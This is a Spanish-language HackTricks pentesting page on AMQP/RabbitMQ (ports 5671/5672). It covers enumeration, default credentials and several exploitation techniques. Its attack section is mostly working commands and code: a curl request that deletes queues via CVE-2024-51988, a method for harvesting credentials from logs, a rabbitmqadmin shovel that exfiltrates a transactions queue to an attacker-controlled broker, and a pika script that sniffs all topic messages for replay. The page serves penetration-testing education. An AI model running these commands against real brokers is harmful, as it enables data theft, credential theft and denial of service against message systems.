5671,5672 - Pentesting AMQP
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
De cloudamqp:
RabbitMQ es un software de encolado de mensajes también conocido como broker de mensajes o gestor de colas. Dicho de forma simple; es un software donde se definen colas, a las que las aplicaciones se conectan para transferir un mensaje o mensajes.
Un mensaje puede incluir cualquier tipo de información. Podría, por ejemplo, contener información sobre un proceso o tarea que debería iniciarse en otra aplicación (la cual podría incluso estar en otro servidor), o podría ser simplemente un mensaje de texto. El software gestor de colas almacena los mensajes hasta que una aplicación receptora se conecta y toma un mensaje de la cola. La aplicación receptora entonces procesa el mensaje.
Definición de .
Puerto por defecto: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- Credenciales por defecto:
guest:guest. RabbitMQ las restringe a localhost medianteloopback_users, pero muchas imágenes Docker/IoT desactivan esa comprobación, así que siempre prueba el login remoto antes de asumir que está bloqueado. - Mecanismos de autenticación: PLAIN y AMQPLAIN están habilitados por defecto, ANONYMOUS se asigna a
anonymous_login_user/anonymous_login_pass, y EXTERNAL (x509) puede exponerse cuando TLS está habilitado. Enumera lo que el broker anuncia para saber si debes probar password spraying o certificate impersonation más adelante.
Enumeración
Manual
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
Una vez autenticado, dump conn.server_properties, conn.channel_max y conn.frame_max para entender los límites de rendimiento y si puedes agotar recursos con tramas sobredimensionadas.
Automático
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL checks
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
Esto leaks la cadena de certificados, las versiones de TLS soportadas y si se requiere mutual TLS.
- List listeners without creds:
rabbitmq-diagnostics -q listeners
Útil una vez que obtengas low-priv shell access al host.
- Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the
anonymous_login_user(defaults toguest).
Brute Force
Consejos de explotación
Eliminación de colas sin permisos configure (CVE-2024-51988)
RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) no verifican el permiso configure cuando las colas se eliminan vía la HTTP API. Cualquier usuario autenticado con acceso al vhost objetivo puede nuke colas arbitrarias incluso si solo tiene permisos read o write.
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
Combina esto con rabbitmqadmin list permissions para encontrar vhosts donde tu usuario low-priv tiene acceso parcial, luego elimina las colas para inducir denial of service o activar controles compensatorios observados en el lado AMQP. Consulta 15672 pentesting para más HTTP API endpoints para encadenar con este bug.
Recolectar credenciales de los logs de RabbitMQ (CVE-2025-50200)
Hasta 4.0.8/4.1.0, al golpear el management API con HTTP basic auth en un recurso inexistente, el broker registra el header Authorization completo (base64). Si obtienes acceso limitado al sistema de archivos (p. ej. Docker escape, plugin RCE), busca en /var/log/rabbitmq/rabbit@*.log Authorization: y recupera credenciales de otros tenants o service accounts.
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
Provoca esto intencionalmente con endpoints falsos para plantar secretos nuevos en los logs, luego pivota reutilizando las creds decodificadas sobre AMQP, STOMP, MQTT o el propio OS.
Weaponizar rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) es un CLI autónomo que se comunica con la management API y ahora se distribuye en builds enlazadas estáticamente para Linux/macOS/Windows. Colócalo en tu bounce box y automatízalo con un script:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
Dado que la herramienta soporta health checks compatibles con blue/green, también puedes abusar de rabbitmqadmin health_check port_listener --port 5672 para confirmar de forma remota si se expusieron listeners TLS o para mantener el servicio ocupado con sondas de temporización.
Message hijacking/sniffing
Si encuentras políticas permisivas (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), puedes extraer silenciosamente mensajes sin eliminarlos:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
Cambia la routing key por audit.# o payments.* para centrarte en flujos sensibles, luego vuelve a publicar mensajes falsificados invirtiendo los argumentos de basic_publish—útil para replay attacks contra microservicios aguas abajo.
Otros puertos de RabbitMQ
En https://www.rabbitmq.com/networking.html puedes encontrar que rabbitmq usa varios puertos:
- 1883, 8883: (MQTT clients sin y con TLS, si el MQTT plugin está habilitado. Aprende más sobre cómo pentest MQTT aquí.
- 4369: epmd, un servicio de descubrimiento de pares usado por nodos RabbitMQ y herramientas CLI. Aprende más sobre cómo pentest este servicio aquí.
- 5672, 5671: usados por clientes AMQP 0-9-1 y 1.0 sin y con TLS
- 15672: clientes del HTTP API, management UI y rabbitmqadmin (solo si el management plugin está habilitado). Aprende más sobre cómo pentest este servicio aquí.
- 15674: clientes STOMP-over-WebSockets (solo si el Web STOMP plugin está habilitado)
- 15675: clientes MQTT-over-WebSockets (solo si el Web MQTT plugin está habilitado)
- 15692: métricas Prometheus (solo si el Prometheus plugin está habilitado)
- 25672: usado para la comunicación inter-nodo y de herramientas CLI (Erlang distribution server port) y se asigna desde un rango dinámico (limitado a un único puerto por defecto, calculado como AMQP port + 20000). A menos que las conexiones externas en estos puertos sean realmente necesarias (p.ej. el cluster usa federation o las herramientas CLI se usan en máquinas fuera de la subred), estos puertos no deberían exponerse públicamente. Ver networking guide para más detalles. Solo 9 de estos puertos están abiertos en internet.
- 35672-35682: usados por herramientas CLI (Erlang distribution client ports) para comunicación con nodos y se asignan desde un rango dinámico (calculado como server distribution port + 10000 hasta server distribution port + 10010). Ver networking guide para más detalles.
- 61613, 61614: STOMP clients sin y con TLS (solo si el STOMP plugin está habilitado). Menos de 10 dispositivos con este puerto abierto y mayormente UDP para nodos DHT.
Ver también
Shodan
AMQP
Referencias
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

